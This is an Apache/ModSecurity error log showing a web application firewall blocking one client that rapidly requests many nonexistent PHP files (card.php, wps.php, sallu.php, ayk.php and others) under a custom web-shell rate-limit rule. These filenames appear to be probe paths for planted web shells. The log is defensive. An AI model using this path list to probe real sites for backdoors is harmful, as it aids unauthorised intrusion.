[Thu May 07 08:34:44.152710 2026] [:error] [pid 56066:tid 56126] [client 20.104.207.18:53443] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "afveJEYS8DGwDvklLv5w1AAAAMM"]
[Thu May 07 08:34:44.585436 2026] [:error] [pid 56065:tid 56110] [client 20.104.207.18:49586] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "afveJHdV4hYThdnhfxCoqgAAAI4"]
[Thu May 07 08:34:45.075041 2026] [:error] [pid 56066:tid 56130] [client 20.104.207.18:49541] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "afveJUYS8DGwDvklLv5w1QAAAMc"]
[Thu May 07 08:34:45.508231 2026] [:error] [pid 56150:tid 56171] [client 20.104.207.18:53400] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "afveJdu4duXJJeTigXTYwAAAAFM"]
[Thu May 07 08:34:45.951095 2026] [:error] [pid 56150:tid 56167] [client 20.104.207.18:49642] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "afveJdu4duXJJeTigXTYxAAAAE8"]
[Thu May 07 08:34:46.411650 2026] [:error] [pid 56065:tid 56107] [client 20.104.207.18:53483] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "afveJndV4hYThdnhfxCorwAAAIs"]
[Thu May 07 08:34:46.846875 2026] [:error] [pid 56064:tid 56087] [client 20.104.207.18:53381] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "afveJisGkZZUEf_7QCP7KAAAABI"]
[Thu May 07 08:34:47.355586 2026] [:error] [pid 56065:tid 56120] [client 20.104.207.18:49552] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "afveJ3dV4hYThdnhfxCosQAAAJg"]
[Thu May 07 08:34:47.786768 2026] [:error] [pid 56066:tid 56129] [client 20.104.207.18:53412] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "afveJ0YS8DGwDvklLv5w2gAAAMY"]
[Thu May 07 08:34:48.266648 2026] [:error] [pid 56066:tid 56135] [client 20.104.207.18:49604] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "afveKEYS8DGwDvklLv5w3AAAAMw"]
[Thu May 07 08:34:48.694368 2026] [:error] [pid 56064:tid 56089] [client 20.104.207.18:53389] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "afveKCsGkZZUEf_7QCP7LQAAABQ"]
[Thu May 07 08:34:49.133770 2026] [:error] [pid 56066:tid 56146] [client 20.104.207.18:53394] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "afveKUYS8DGwDvklLv5w3gAAANc"]
[Thu May 07 08:34:49.582231 2026] [:error] [pid 56066:tid 56143] [client 20.104.207.18:53501] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "afveKUYS8DGwDvklLv5w4QAAANQ"]
[Thu May 07 08:34:50.020622 2026] [:error] [pid 56066:tid 56131] [client 20.104.207.18:49610] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "afveKkYS8DGwDvklLv5w4wAAAMg"]
[Thu May 07 08:34:50.457668 2026] [:error] [pid 56066:tid 56132] [client 20.104.207.18:63526] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "afveKkYS8DGwDvklLv5w5QAAAMk"]
[Thu May 07 08:34:50.901631 2026] [:error] [pid 56065:tid 56119] [client 20.104.207.18:63581] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "afveKndV4hYThdnhfxCotAAAAJc"]
[Thu May 07 08:34:51.391045 2026] [:error] [pid 56064:tid 56077] [client 20.104.207.18:53451] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "afveKysGkZZUEf_7QCP7LgAAAAg"]
[Thu May 07 08:34:51.817961 2026] [:error] [pid 56065:tid 56106] [client 20.104.207.18:49654] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "afveK3dV4hYThdnhfxCotwAAAIo"]
[Thu May 07 08:34:52.240433 2026] [:error] [pid 56064:tid 56086] [client 20.104.207.18:49663] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "afveLCsGkZZUEf_7QCP7MQAAABE"]
[Thu May 07 08:34:52.708700 2026] [:error] [pid 56065:tid 56111] [client 20.104.207.18:63549] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "afveLHdV4hYThdnhfxCouAAAAI8"]
[Thu May 07 08:34:53.157827 2026] [:error] [pid 56065:tid 56108] [client 20.104.207.18:49609] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "afveLXdV4hYThdnhfxCouwAAAIw"]
[Thu May 07 08:34:53.630265 2026] [:error] [pid 56150:tid 56170] [client 20.104.207.18:63595] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "afveLdu4duXJJeTigXTY-AAAAFI"]
[Thu May 07 08:34:54.055270 2026] [:error] [pid 56065:tid 56107] [client 20.104.207.18:49653] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "afveLndV4hYThdnhfxCovgAAAIs"]
[Thu May 07 08:34:54.543769 2026] [:error] [pid 56064:tid 56082] [client 20.104.207.18:63496] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "afveLisGkZZUEf_7QCP7NQAAAA0"]
[Thu May 07 08:34:54.982618 2026] [:error] [pid 56066:tid 56130] [client 20.104.207.18:53436] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "afveLkYS8DGwDvklLv5w6QAAAMc"]
[Thu May 07 08:34:55.460109 2026] [:error] [pid 56066:tid 56147] [client 20.104.207.18:63573] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "afveL0YS8DGwDvklLv5w6gAAANg"]
[Thu May 07 08:34:55.963097 2026] [:error] [pid 56065:tid 56103] [client 20.104.207.18:53474] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "afveL3dV4hYThdnhfxCoxQAAAIc"]
[Thu May 07 08:34:56.408195 2026] [:error] [pid 56150:tid 56176] [client 20.104.207.18:49601] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "afveMNu4duXJJeTigXTZCAAAAFg"]
[Thu May 07 08:34:56.827640 2026] [:error] [pid 56064:tid 56075] [client 20.104.207.18:41281] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "afveMCsGkZZUEf_7QCP7OgAAAAY"]
[Thu May 07 08:34:57.278142 2026] [:error] [pid 56150:tid 56155] [client 20.104.207.18:49582] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "afveMdu4duXJJeTigXTZDgAAAEM"]
[Thu May 07 08:34:57.716816 2026] [:error] [pid 56064:tid 56090] [client 20.104.207.18:53459] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "afveMSsGkZZUEf_7QCP7OwAAABU"]
[Thu May 07 08:34:58.151362 2026] [:error] [pid 56150:tid 56160] [client 20.104.207.18:53458] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "afveMtu4duXJJeTigXTZEwAAAEg"]
[Thu May 07 08:34:58.715492 2026] [:error] [pid 56066:tid 56124] [client 20.104.207.18:49635] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "afveMkYS8DGwDvklLv5w7QAAAME"]
[Thu May 07 08:34:59.187588 2026] [:error] [pid 56065:tid 56105] [client 20.104.207.18:53406] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "afveM3dV4hYThdnhfxCoyAAAAIk"]
[Thu May 07 08:34:59.619195 2026] [:error] [pid 56066:tid 56129] [client 20.104.207.18:49621] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "afveM0YS8DGwDvklLv5w7wAAAMY"]
[Thu May 07 08:35:00.040751 2026] [:error] [pid 56150:tid 56163] [client 20.104.207.18:53480] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "afveNNu4duXJJeTigXTZIAAAAEs"]
[Thu May 07 08:35:00.459691 2026] [:error] [pid 56150:tid 56168] [client 20.104.207.18:53413] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "afveNNu4duXJJeTigXTZJAAAAFA"]
[Thu May 07 08:35:00.895486 2026] [:error] [pid 56066:tid 56135] [client 20.104.207.18:49657] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "afveNEYS8DGwDvklLv5w8AAAAMw"]
[Thu May 07 08:35:01.401024 2026] [:error] [pid 56066:tid 56136] [client 20.104.207.18:53492] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "afveNUYS8DGwDvklLv5w9AAAAM0"]
[Thu May 07 08:35:02.021153 2026] [:error] [pid 56065:tid 56118] [client 20.104.207.18:49556] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "afveNndV4hYThdnhfxCozQAAAJY"]
[Thu May 07 08:35:02.501205 2026] [:error] [pid 56150:tid 56158] [client 20.104.207.18:53391] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "afveNtu4duXJJeTigXTZLQAAAEY"]
[Thu May 07 08:35:02.926975 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:49632] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "afveNtu4duXJJeTigXTZLgAAAEo"]
[Thu May 07 08:35:03.371659 2026] [:error] [pid 56066:tid 56144] [client 20.104.207.18:49649] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "afveN0YS8DGwDvklLv5w-QAAANU"]
[Thu May 07 08:35:03.826978 2026] [:error] [pid 56066:tid 56130] [client 20.104.207.18:53422] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "afveN0YS8DGwDvklLv5w-wAAAMc"]
[Thu May 07 08:35:04.251583 2026] [:error] [pid 56150:tid 56172] [client 20.104.207.18:49623] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "afveONu4duXJJeTigXTZMQAAAFQ"]
[Thu May 07 08:35:04.728856 2026] [:error] [pid 56065:tid 56096] [client 20.104.207.18:53380] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "afveOHdV4hYThdnhfxCo3QAAAIA"]
[Thu May 07 08:35:05.193911 2026] [:error] [pid 56150:tid 56165] [client 20.104.207.18:49594] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "afveOdu4duXJJeTigXTZPAAAAE0"]
[Thu May 07 08:35:05.726239 2026] [:error] [pid 56064:tid 56077] [client 20.104.207.18:53425] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "afveOSsGkZZUEf_7QCP7QAAAAAg"]
[Thu May 07 08:35:06.152166 2026] [:error] [pid 56150:tid 56175] [client 20.104.207.18:53411] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "afveOtu4duXJJeTigXTZPwAAAFc"]
[Thu May 07 08:35:06.586054 2026] [:error] [pid 56066:tid 56147] [client 20.104.207.18:63586] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "afveOkYS8DGwDvklLv5xDAAAANg"]
[Thu May 07 08:35:07.001127 2026] [:error] [pid 56066:tid 56140] [client 20.104.207.18:53427] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "afveOkYS8DGwDvklLv5xDQAAANE"]
[Thu May 07 08:35:07.456510 2026] [:error] [pid 56150:tid 56156] [client 20.104.207.18:53398] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "afveO9u4duXJJeTigXTZQgAAAEQ"]
[Thu May 07 08:35:07.897710 2026] [:error] [pid 56150:tid 56172] [client 20.104.207.18:63575] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "afveO9u4duXJJeTigXTZRgAAAFQ"]
[Thu May 07 08:35:08.311577 2026] [:error] [pid 56150:tid 56163] [client 20.104.207.18:53382] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "afvePNu4duXJJeTigXTZSAAAAEs"]
[Thu May 07 08:35:08.793015 2026] [:error] [pid 56150:tid 56168] [client 20.104.207.18:49583] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "afvePNu4duXJJeTigXTZSgAAAFA"]
[Thu May 07 08:35:09.210005 2026] [:error] [pid 56065:tid 56108] [client 20.104.207.18:49634] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "afvePXdV4hYThdnhfxCo-QAAAIw"]
[Thu May 07 08:35:09.683403 2026] [:error] [pid 56066:tid 56124] [client 20.104.207.18:41292] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "afvePUYS8DGwDvklLv5xEAAAAME"]
